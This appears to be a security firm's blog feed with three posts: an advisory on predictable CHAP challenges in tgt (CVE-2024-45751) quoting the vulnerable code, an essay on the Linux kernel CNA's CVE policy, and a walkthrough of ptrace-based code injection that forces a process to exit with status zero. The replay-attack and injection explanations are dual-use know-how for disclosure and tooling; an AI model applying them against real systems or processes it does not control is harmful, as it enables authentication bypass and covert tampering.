<p>The user-space iSCSI target daemon of the Linux target framework (tgt)  uses an insecure
random number generator to generate CHAP authentication callenges. This results in
predictable challenges which an attacker capable of recording network traffic between
iSCSI target and initiator can abuse to bypass CHAP authentication by replaying
previous responses.</p>
<ul>
<li><em>Identifier:</em>                   sigma-star-sa-2024-001</li>
<li><em>Type of vulnerability (CWE):</em>  Use of cryptographically weak pseud-random
number generator (<a href="https://cwe.mitre.org/data/definitions/338.html">CWE-338</a>)</li>
<li><em>Vendor:</em>                       -</li>
<li><em>Product/Software:</em>             <a href="https://github.com/fujita/tgt">The Linux target framework (tgt)</a></li>
<li><em>Affected versions:</em>            &lt;= 1.0.92</li>
<li><em>Fixed versions:</em>               1.0.93</li>
<li><em>CVE ID:</em>                       CVE-2024-45751</li>
</ul>
<h2 id="affected-product-and-vendor">Affected Product and Vendor</h2>
<blockquote>
<p>The Linux target framework (tgt) is a user space SCSI target framework that
supports the iSCSI and iSER transport protocols and that supports multiple
methods for accessing block storage. Tgt consists of user-space daemon and tools.</p>]]></description><content:encoded><![CDATA[<h1 id="sigma-star-sa-2024-001-chap-authentication-bypass-in-user-space-linux-target-framework-tgt-up-to-v1092-cve-2024-45751">sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)</h1>
<h2 id="summary">Summary</h2>
<p>The user-space iSCSI target daemon of the Linux target framework (tgt)  uses an insecure
random number generator to generate CHAP authentication callenges. This results in
predictable challenges which an attacker capable of recording network traffic between
iSCSI target and initiator can abuse to bypass CHAP authentication by replaying
previous responses.</p>
<ul>
<li><em>Identifier:</em>                   sigma-star-sa-2024-001</li>
<li><em>Type of vulnerability (CWE):</em>  Use of cryptographically weak pseud-random
number generator (<a href="https://cwe.mitre.org/data/definitions/338.html">CWE-338</a>)</li>
<li><em>Vendor:</em>                       -</li>
<li><em>Product/Software:</em>             <a href="https://github.com/fujita/tgt">The Linux target framework (tgt)</a></li>
<li><em>Affected versions:</em>            &lt;= 1.0.92</li>
<li><em>Fixed versions:</em>               1.0.93</li>
<li><em>CVE ID:</em>                       CVE-2024-45751</li>
</ul>
<h2 id="affected-product-and-vendor">Affected Product and Vendor</h2>
<blockquote>
<p>The Linux target framework (tgt) is a user space SCSI target framework that
supports the iSCSI and iSER transport protocols and that supports multiple
methods for accessing block storage. Tgt consists of user-space daemon and tools.</p>
</blockquote>
<p>Source: <a href="https://github.com/fujita/tgt/blob/e393a80b02b8cb90709c75f9bd91542ea3a78d58/README.md">https://github.com/fujita/tgt/blob/e393a80b02b8cb90709c75f9bd91542ea3a78d58/README.md</a></p>
<h2 id="description">Description</h2>
<p><code>tgt</code> supports CHAP for authenticating initiators. As defined in the <a href="https://datatracker.ietf.org/doc/html/rfc1994#section-2">CHAP specification</a>
the target generates a random challenge and sends it to the initiator. <code>tgt</code> fails
to use a cryptographically secure random number generator for this. Instead it
simply uses the <a href="https://man7.org/linux/man-pages/man3/srand.3.html"><code>rand()</code></a> call without
setting a seed using <code>srand()</code> first. Thus the default seed (equivalent to <code>srand(1)</code>) will be used.
This results in a predictable sequence of numbers being returned by subsequent
calls to <code>rand()</code>.</p>
<p>Note that even though <code>tgt</code> generates a random length for each challenge,
this does not affect the predictability of challenges as these lengths will
also be generated using predictable output of <code>rand()</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">chap_initiator_auth_create_challenge</span><span class="p">(</span><span class="k">struct</span> <span class="n">iscsi_connection</span> <span class="o">*</span><span class="n">conn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">text</span><span class="p">[</span><span class="n">CHAP_CHALLENGE_MAX</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="k">static</span> <span class="kt">int</span> <span class="n">chap_id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="p">[...]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * FIXME: does a random challenge length provide any benefits security-
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * wise, or should we rather always use the max. allowed length of
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * 1024 for the (unencoded) challenge?
</span></span></span><span class="line"><span class="cl"><span class="cm">	 */</span>
</span></span><span class="line"><span class="cl">	<span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge_size</span> <span class="o">=</span> <span class="p">(</span><span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="p">(</span><span class="n">CHAP_CHALLENGE_MAX</span> <span class="o">/</span> <span class="mi">2</span><span class="p">))</span> <span class="o">+</span> <span class="n">CHAP_CHALLENGE_MAX</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge_size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">CHAP_TARGET_ERROR</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">p</span> <span class="o">=</span> <span class="n">text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nf">strcpy</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="s">&#34;0x&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge_size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sprintf</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="s">&#34;%.2hhx&#34;</span><span class="p">,</span> <span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">		<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="nf">text_key_add</span><span class="p">(</span><span class="n">conn</span><span class="p">,</span> <span class="s">&#34;CHAP_C&#34;</span><span class="p">,</span>  <span class="n">text</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Source: <a href="https://github.com/fujita/tgt/blob/v1.0.92/usr/iscsi/chap.c#L333">https://github.com/fujita/tgt/blob/v1.0.92/usr/iscsi/chap.c#L333</a></p>
<h2 id="impact">Impact</h2>
<p>An attacker who is able to recording network traffic between iSCSI target
and initiator can apply a replay attack to bypass the CHAP authentication.
All the attacker has to do is wait for the server or the service to restart
and replay with a previously record CHAP session which fits into the sequence.</p>
<p>Having bypassed CHAP authentication, an attacker has full user privileges and
can modify the iSCSI target at will within that user privileges.</p>
<h2 id="mitigation">Mitigation</h2>
<p>We recommend replacing the pseudo-random number generator (<code>rand()</code>)  with
<code>getrandom()</code>as this will yield cryptographically secure pseudo-random numbers
fitting for CHAP challenges.</p>
<p>Version 1.0.93 contains this fix.</p>
<h2 id="patches">Patches</h2>
<ul>
<li><a href="https://github.com/fujita/tgt/pull/67/commits/abd8e0d987ab56013d360077202bf2aca20a42dd">https://github.com/fujita/tgt/pull/67/commits/abd8e0d987ab56013d360077202bf2aca20a42dd</a> (chap: Use proper entropy source)</li>
</ul>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<ul>
<li>2024-09-03: Vulnerability disclosed to vendor</li>
<li>2024-09-04: Vendor requested full disclosure</li>
<li>2024-09-04: Patch submitted to vendor and version 1.0.93 released by vendor</li>
<li>2024-09-07: Advisory published</li>
</ul>
<h2 id="credits">Credits</h2>
<ul>
<li>Richard Weinberger (<a href="https://sigma-star.at">sigma star gmbh)</a></li>
<li>David Gstir (<a href="https://sigma-star.at">sigma star gmbh)</a></li>
</ul>
]]></content:encoded></item><item><title>Thoughts on Linux CNA's Approach and the Resulting CVE Flood</title><link>https://sigma-star.at/blog/2024/03/linux-kernel-cna/</link><pubDate>Wed, 13 Mar 2024 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2024/03/linux-kernel-cna/</guid><description><![CDATA[<h1 id="thoughts-on-linux-cnas-approach-and-the-resulting-cve-flood">Thoughts on Linux CNA&rsquo;s Approach and the Resulting CVE Flood</h1>
<p>Recently, the Linux Kernel Project attained the status of a CNA<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> (CVE Numbering Authority), granting it the capability to independently issue CVEs (Common Vulnerabilities and Exposures).
While this development may seem unremarkable, the substantial increase in the number of newly assigned CVEs raises many questions.
I&rsquo;ve received numerous inquiries from people seeking clarification and expressing concern about the apparent surge in the issuance of CVE numbers for almost every non-trivial patch applied to the maintained stable kernel trees.</p>]]></description><content:encoded><![CDATA[<h1 id="thoughts-on-linux-cnas-approach-and-the-resulting-cve-flood">Thoughts on Linux CNA&rsquo;s Approach and the Resulting CVE Flood</h1>
<p>Recently, the Linux Kernel Project attained the status of a CNA<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> (CVE Numbering Authority), granting it the capability to independently issue CVEs (Common Vulnerabilities and Exposures).
While this development may seem unremarkable, the substantial increase in the number of newly assigned CVEs raises many questions.
I&rsquo;ve received numerous inquiries from people seeking clarification and expressing concern about the apparent surge in the issuance of CVE numbers for almost every non-trivial patch applied to the maintained stable kernel trees.</p>
<p>It appears that there is a diversity of interpretations regarding what qualifies as a CVE and what does not. In this blog post, I aim to articulate some personal reflections on this situation.</p>
<h2 id="understanding-vulnerabilities">Understanding Vulnerabilities</h2>
<p>Assigning a CVE doesn&rsquo;t always mean a critical issue that every user must quickly address.</p>
<p>Let&rsquo;s take a look at what cve.org says about what qualifies as a vulnerability. The CNA rules<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> are:</p>
<blockquote>
<p>7.1.1 If a product owner considers an issue to be a vulnerability in its product, then the issue MUST be considered a vulnerability, regardless of whether other parties (e.g., other vendors whose products share the affected code) agree.</p>
</blockquote>
<blockquote>
<p>7.1.2 If the CNA determines that an issue violates the security policy of a product, then the issue SHOULD be considered a vulnerability.</p>
</blockquote>
<blockquote>
<p>7.1.3 If a CNA receives a report about a new vulnerability that has a negative impact, then the reported vulnerability MAY be considered a vulnerability.</p>
</blockquote>
<p>The Linux Kernel CNA<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> itself states:</p>
<blockquote>
<p>As part of the normal stable release process, kernel changes that are
potentially security issues are identified by the developers responsible
for CVE number assignments and have CVE numbers automatically assigned
to them.  These assignments are published on the linux-cve-announce
mailing list as announcements on a frequent basis.</p>
</blockquote>
<blockquote>
<p>Note, due to the layer at which the Linux kernel is in a system, almost
any bug might be exploitable to compromise the security of the kernel,
but the possibility of exploitation is often not evident when the bug is
fixed.  Because of this, the CVE assignment team is overly cautious and
assign CVE numbers to any bugfix that they identify.  This
explains the seemingly large number of CVEs that are issued by the Linux
kernel team.</p>
</blockquote>
<p>So, the Kernel CNA adheres to rule <em>7.1.3</em> of cve.org, indicating that any patch addressing a bug with potential negative impacts receives a CVE.
This doesn&rsquo;t necessarily imply that the bug is exploitable, but it could be exploited by someone with malicious intent as part of an exploit chain.
Modern exploits often consist of a complex chain that utilizes numerous small bugs.</p>
<p>It&rsquo;s important to note that the Kernel CNA lacks context on individual system usage or threat models.
Therefore, the CNA cannot determine if you prioritize bugs that can be triggered remotely or care about those only the root user can activate.
The ultimate decision on whether a CVE is relevant to your system lies with you or your Linux vendor.</p>
<h2 id="lets-take-a-closer-look">Let&rsquo;s Take a Closer Look</h2>
<p>Many people express concern that almost every bug fix receives a CVE, suggesting that the Kernel CNA should limit CVE assignments to bug fixes addressing security issues.
However, distinguishing between a regular bug fix and a security bug fix can be challenging, especially for a foundational component like the monolithic UNIX kernel.
Let&rsquo;s examine the last few CVEs in my linux-cve-announce mailbox.</p>
<h6 id="cve-2023-52589-media-rkisp1-fix-irq-disable-race-issue"><a href="https://lore.kernel.org/linux-cve-announce/2024030644-CVE-2023-52589-8f84@gregkh/T/#u">CVE-2023-52589</a>: media: rkisp1: Fix IRQ disable race issue</h6>
<p>The rkisp1 media driver for RockChip SoCs suffers from a bug in interrupt handling which can lockup (deadlock) the kernel.
If the attacker can control the driver or the media stream a DoS situation could occur.</p>
<h6 id="cve-2023-52591-reiserfs-avoid-touching-renamed-directory-if-parent-does-not-change"><a href="https://lore.kernel.org/linux-cve-announce/2024030644-CVE-2023-52591-46a0@gregkh/T/#u">CVE-2023-52591</a>: reiserfs: Avoid touching renamed directory if parent does not change</h6>
<p>The bug fix addresses a locking issue in the reiserfs filesystem.
It does not correctly use the Linux VFS interface which could lead to a corrupted filesystem.
A local attacker could trigger this and corrupt data on disk.</p>
<h6 id="cve-2023-52590-ocfs2-avoid-touching-renamed-directory-if-parent-does-not-change"><a href="https://lore.kernel.org/linux-cve-announce/2024030644-CVE-2023-52590-fca9@gregkh/T/#u">CVE-2023-52590</a>: ocfs2: Avoid touching renamed directory if parent does not change</h6>
<p>Fixes the same as CVE-2023-52591 but in the ocfs2 filesystem.</p>
<h6 id="cve-2024-26626-ipmr-fix-kernel-panic-when-forwarding-mcast-packets"><a href="https://lore.kernel.org/linux-cve-announce/2024030648-CVE-2024-26626-a910@gregkh/T/#u">CVE-2024-26626</a>: ipmr: fix kernel panic when forwarding mcast packets</h6>
<p>This fix addresses a potential kernel panic caused by a NULL pointer dereference when forwarding multicast IP packets.
The NULL pointer dereference could result in a simple denial-of-service (DoS) attack, but it could escalate to something more serious if it is a use-after-free issue.
Despite multicast routing is typically disabled by default on Linux, this case still qualifies for a CVE due to its potential impact when enabled.</p>
<h6 id="cve-2024-26628-drmamdkfd-fix-lock-dependency-warning"><a href="https://lore.kernel.org/linux-cve-announce/2024030649-CVE-2024-26628-f6ce@gregkh/T/#u">CVE-2024-26628</a>: drm/amdkfd: Fix lock dependency warning</h6>
<p>Linux&rsquo;s lock checker identified an invalid lock state within a GPU driver, and the patch addresses this issue by restructuring certain code paths.
While this problem is probably not exploitable on its own, it could potentially assist a local attacker in exploiting undefined behavior resulting from the invalid lock state.
It&rsquo;s important to note that for this to be a concern, the specific GPU driver in question must be in use on the target system.</p>
<h6 id="cve-2024-26627-scsi-core-move-scsi_host_busy-out-of-host-lock-for-waking-up-eh-handler"><a href="https://lore.kernel.org/linux-cve-announce/2024030648-CVE-2024-26627-e3a2@gregkh/T/#u">CVE-2024-26627</a>: scsi: core: Move scsi_host_busy() out of host lock for waking up EH handler</h6>
<p>In this scenario, a bug within the SCSI library in the kernel is addressed.
This bug has the potential to cause a kernel lockup, akin to a deadlock, especially when there is an abundance of SCSI requests in progress in a specific configuration.
This situation could result in a Denial of Service (DoS) scenario if an attacker can control the amount of SCSI requests.</p>
<p>Arguably, except for CVE-2024-26626, none of the aforementioned CVEs appear particularly dangerous at first glance.
However, it&rsquo;s crucial to recognize that each bug fix behind these CVEs addresses an issue resulting in undefined behavior.
For a skilled attacker, any of these bugs could serve as a useful building block.</p>
<h3 id="linuxs-approach">Linux&rsquo;s Approach</h3>
<p>As I see it, the approach adopted by the Linux Kernel CNA is refreshingly honest.
It may be surprising because other projects or vendors, especially proprietary ones, often take the opposite approach, attempting to avoid assigning a CVE unless it&rsquo;s unequivocally clear that a bug is exploitable.
The reluctance of some vendors to assign new CVEs has led to the emergence of projects like <a href="https://notcve.org/">!CVE</a>.
This highlights a conceptual challenge with CVEs—they are a somewhat generic tool, and various interpretations exist regarding what qualifies as a CVE.
For those accustomed to few CVEs being issued, each describing an independently exploitable bug, the Linux kernel CNA&rsquo;s approach may be unexpected.</p>
<h2 id="dealing-with-the-cve-flood">Dealing with the CVE Flood</h2>
<p>CVEs serve as a widely-used metric to signal when a specific software component has received a security fix, prompting the need for an update in products or software built upon it.
However, as a vendor, delivering updates can be challenging, and customers may not always be enthusiastic about installing them unless absolutely necessary.
This reluctance often leads product maintainers to prefer CVEs for severe and demonstrably exploitable issues.
Furthermore, security scanners tend to flag any CVE associated with a particular software version, but they lack awareness of your kernel configuration or loaded drivers, just like the kernel CNA.
Ultimately, determining the relevance of a CVE rests with you.
When in doubt, it&rsquo;s prudent to consider yourself affected.</p>
<p>To effectively manage the influx of CVEs, consider the following:</p>
<ul>
<li>Always use a recent and supported kernel, such as a Long-Term Support (LTS) version.</li>
<li>Establish a robust update strategy with rollback capabilities.</li>
<li>Keep your customizations atop the kernel minimal and well maintained to minimize disruptions during upgrades.</li>
<li>Whenever possible, contribute your changes upstream to keep your patch queue slim.</li>
<li>Familiarize yourself with your kernel configuration, including enabled config options and used drivers. For instance, if you&rsquo;re not using reiserfs, CVE-2023-52591 may not be applicable to your system&hellip;</li>
<li>Understand your threat model; Can you trust local users or even the root user? This knowledge informs your risk assessment and response to potential vulnerabilities.</li>
</ul>
<p>It should also be noted that the increased number of CVEs does not necessarily imply that Linux is less secure than before.
The surge simply provides greater insight and transparency into issues that could potentially impact security.
Previously, you would have had to monitor each bug fix manually.</p>
<h4 id="is-my-kernel-affected-by-a-cve---a-rough-metric">Is My Kernel Affected by a CVE? - A Rough Metric</h4>
<p>The Linux kernel is highly configurable at build time, there is a good chance that many CVEs affect code
your kernel build doesn&rsquo;t has enabled.
By looking at the affected files list of a bug fix for a CVE you can check whether the patched files are actually part of your
kernel build. If they are not, the bug fix is unlikely to affect you.</p>
<p>Let&rsquo;s use <a href="https://lore.kernel.org/linux-cve-announce/2024030649-CVE-2024-26628-f6ce@gregkh/T/#u">CVE-2024-26628</a> as example.
The <code>Affected files</code> section states <code>drivers/gpu/drm/amd/amdkfd/kfd_svm.c</code>, so if this file is part of your kernel build,
you&rsquo;re affected.</p>
<p>Recent kernels allow creating a <code>compile_commands.json</code> file like many other build systems do.
By checking this JSON file it is possible to see whether a particular file will be build.</p>
<pre tabindex="0"><code>$ make compile_commands.json
$ jq &#39;.[] | .file&#39; compile_commands.json | grep drivers/gpu/drm/amd/amdkfd/kfd_svm.c
</code></pre><p>Ideally, you store <code>compile_commands.json</code> after every build somewhere, then you can quickly check without needing
the kernel build directory.</p>
<p>In case your kernel is too old to have <code>compile_commands.json</code>, you can still check after a build by searching
for the object file.
Replace the <code>.c</code> suffix with <code>.o</code> and search in the build directory for it.</p>
<p>Please keep in mind that this all works only if you&rsquo;re using a kernel version that is still supported.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The Linux CNA intentionally adopts an overly cautious approach and assigns a new CVE when in doubt.
While this may surprise many, it is a perfectly legitimate and entirely honest strategy.
In contrast, vendors of proprietary software often tend to take the opposite approach, minimizing the assignment of CVEs whenever possible.
Effectively managing the substantial number of CVEs involves understanding your kernel configuration, having a clear threat model, and ensuring the ability to update the kernel as needed.
I hope that other large projects will eventually adopt Linux&rsquo;s approach.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="http://www.kroah.com/log/blog/2024/02/13/linux-is-a-cna/">Linux is a CNA</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.cve.org/ResourcesSupport/AllResources/CNARules#section_7-1_what_is_a_vulnerability">CNA Rules | CVE</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.kernel.org/process/cve.html#process">CVes - The Linux Kernel documentaion</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Pseudo Graceful Process Termination through Code Injection</title><link>https://sigma-star.at/blog/2024/02/exit0-code-injection/</link><pubDate>Sun, 25 Feb 2024 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2024/02/exit0-code-injection/</guid><description><![CDATA[<h1 id="pseudo-graceful-process-termination-through-code-injection">Pseudo Graceful Process Termination through Code Injection</h1>
<h2 id="introduction">Introduction</h2>
<p>On UNIX systems, terminating programs involves sending signals, such as <code>SIGTERM</code> or <code>SIGKILL</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, to the target process.
<code>SIGTERM</code> allows a process to gracefully handle the termination signal, whereas <code>SIGKILL</code> abruptly ends the process.
After termination, the parent process takes charge by reading the exit status and acting accordingly.
An exit code of <code>0</code> signifies success, whereas other codes denote failures, including termination by a signal or application errors.</p>]]></description><content:encoded><![CDATA[<h1 id="pseudo-graceful-process-termination-through-code-injection">Pseudo Graceful Process Termination through Code Injection</h1>
<h2 id="introduction">Introduction</h2>
<p>On UNIX systems, terminating programs involves sending signals, such as <code>SIGTERM</code> or <code>SIGKILL</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, to the target process.
<code>SIGTERM</code> allows a process to gracefully handle the termination signal, whereas <code>SIGKILL</code> abruptly ends the process.
After termination, the parent process takes charge by reading the exit status and acting accordingly.
An exit code of <code>0</code> signifies success, whereas other codes denote failures, including termination by a signal or application errors.</p>
<p>However, what if the need arises to forcefully terminate a process, disguising it as a successful exit?
I came across this need recently while observing a long-running process that blocked further work.
It made no progress, and I was tempted to just <code>kill</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> it.
Since the parent process would detect the non-zero exit code, there was a high likelihood of making things worse.</p>
<p>This got me thinking - how can we build a tool to stop a process forcefully but make it look like a successful termination?
As far as I know, Linux doesn&rsquo;t provide an API to perform such a kill.
So I decided to take a different route and make the process terminate itself with a zero exit code using code injection.</p>
<h2 id="the-plan">The Plan</h2>
<p>Linux offers multiple APIs to alter the memory of a process.
You can use the <code>ptrace()</code><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> and <code>process_vm_writev()</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> system calls or access <code>/proc/PID/mem</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.
Internally, all of them utilize the process tracing and debugging subsystem.
The most basic access API is <code>ptrace()</code>, which allows word wise access, <code>process_vm_writev()</code> is ideal if you need to
transfer more data and want to use fewer system calls.
And finally, <code>/proc/PID/mem</code> lets you treat foreign memory like a file.</p>
<p>The plan is to stop all threads of the target program, identify a memory location where we can write code, and make one thread execute the <code>exit_group()</code><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> system call with an exit code of zero.
Since we aim for a graceful exit, the program must not crash or exhibit undefined behavior as soon as we start editing the executing code.
It is crucial to halt all threads of the program before altering the program code.
Remote memory allocation into a process is not possible, so we need to modify existing memory.</p>
<figure>
<img src="img/multithread.png?width=auto" loading="lazy" decoding="async" alt="Multipble threads executing"></figure>
<p>Stopping only one thread carries the risk that another thread may concurrently execute code in the area we are changing, triggering an access or illegal instruction exception.
Therefore, it is necessary to stop all threads to ensure a smooth modification process.</p>
<h3 id="step-1-finding-and-seizing-all-threads">Step 1: Finding and Seizing all Threads</h3>
<p>Linux exposes all thread IDs of a process via <code>/proc/PID/task/</code>, allowing us to iterate over the list and stop each one.
It is important to repeat this process until no new threads appear.
There is always a possibility that a thread is creating a new one while we are scanning.
Additionally, we need to handle the scenario where threads exit while we are scanning the list.</p>
<p>Once we find a non-stopped thread, we apply the <code>ptrace()</code> operations <code>PTRACE_SEIZE</code> and <code>PTRACE_INTERRUPT</code>.
<code>PTRACE_SEIZE</code> attaches us to the thread and enables further <code>ptrace()</code> operations.
<code>PTRACE_INTERRUPT</code> ensures that the current system call is aborted, causing the thread to enter the stop state.</p>
<h3 id="step-2-finding-a-suitable-memory-location">Step 2: Finding a Suitable Memory Location</h3>
<p>After stopping all threads, the next step is to find a suitable location to write our code.
Saving the thread&rsquo;s current CPU register set using <code>PTRACE_GETREGSET</code> is crucial for this step.
From the register set, we can determine where the program counter was when we seized and interrupted the thread.
It is safe to assume that the program counter will point to a memory location that is executable.
Therefore, the memory page the program counter points to is guaranteed to be executable, and we can place our code there.</p>
<figure>
<img src="img/twopages.png?width=auto" loading="lazy" decoding="async" alt="PC at adjacent pages"></figure>
<p>However, one corner case to consider is if the program counter is near the end of the page, the injected code could overlap into the next adjacent page.
The adjacent page might be non-executable or not even present.
To avoid this scenario, we rewind the program counter to the beginning of the page.
It&rsquo;s important to note that this approach works only if the code to be injected is smaller than the size of a page.</p>
<h3 id="step-3-injecting-code">Step 3: Injecting Code</h3>
<p>Now it is time to think about what code to inject.
Our goal is to have a thread inside the target process to execute the <code>group_exit()</code> system call.
For a x86_64 system the assembly code could look like that:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-GAS" data-lang="GAS"><span class="line"><span class="cl"><span class="nf">mov</span> <span class="no">$231</span><span class="p">,</span> <span class="nv">%rax</span>	<span class="c1">; __NR_exit_group
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">mov</span> <span class="no">$0</span><span class="p">,</span> <span class="nv">%rdi</span>	<span class="c1">; 1st parameter to exit_group is 0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">syscall</span>		<span class="c1">; Fire system call
</span></span></span></code></pre></div><p>Since the first two instructions set up only the system call parameters<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>, it is also possible to set all registers needed for the system call setup using the saved register set.
That way only one instruction opcode needs to be written into the memory of the target process.
So, the only code to write is the system call opcode. For x86_64 it is <code>0x0f</code>, <code>0x05</code>.</p>
<p>We could even go a step further and execute the system call without writing to any memory location at all.
By analyzing <code>/proc/PID/maps</code> of the target process it is possible to scan every memory mapping that has the executable bit set for the <code>syscall</code> opcode and make the program counter point to it.
The drawback of this approach is that searching for the <code>syscall</code> opcode might take a long time because a significant amount of memory needs to be searched.</p>
<p>The final approach is:</p>
<ol>
<li>Rewind the program counter to the beginning of the current page.</li>
<li>Set the saved registers according to the Linux syscall ABI<sup id="fnref1:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.</li>
<li>Write the <code>syscall</code> opcode into the executable page.</li>
<li>Restore the registers using <code>PTRACE_SETREGSET</code>.</li>
<li>Continue the thread using <code>PTRACE_CONT</code>.</li>
</ol>
<p>The attentive reader may wonder how it&rsquo;s possible to write to an executable page when most memory areas in Linux are set as read-only.
The answer is that these restrictions apply only to userspace.
Since we&rsquo;re writing through the kernel, we can easily alter read-only areas.</p>
<p>Once the thread is resumed, it will execute from the new program counter location.
The <code>syscall</code> opcode will transition to kernel context and execute the <code>exit_group()</code> system call as configured in the register set.</p>
<p>For x86_64, one anomaly to consider is if the thread was executing a system call when we interrupted it; the kernel may attempt to restart the system call after <code>PTRACE_CONT</code>.
To disable the system call restart mechanism, we need to set the <code>orig_rax</code><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> pseudo register in the saved register set to <code>-1</code>.</p>
<h2 id="the-result">The Result</h2>
<p>The end result is a tool called <a href="https://github.com/richardweinberger/exit0">exit0</a>, compatible with both x86_64 and AArch64 architectures.
The only command-line parameter it requires is the target process ID.
It is capable of terminating any process for which the caller has <code>ptrace()</code> permissions, with an exit code of <code>0</code>.</p>
<h2 id="summary">Summary</h2>
<p>Code injection is not a straightforward technique and should be employed with caution.
However, it is not exclusively used by malicious programs.
Similar to <a href="https://github.com/richardweinberger/exit0">exit0</a>, there are legitimate use cases.
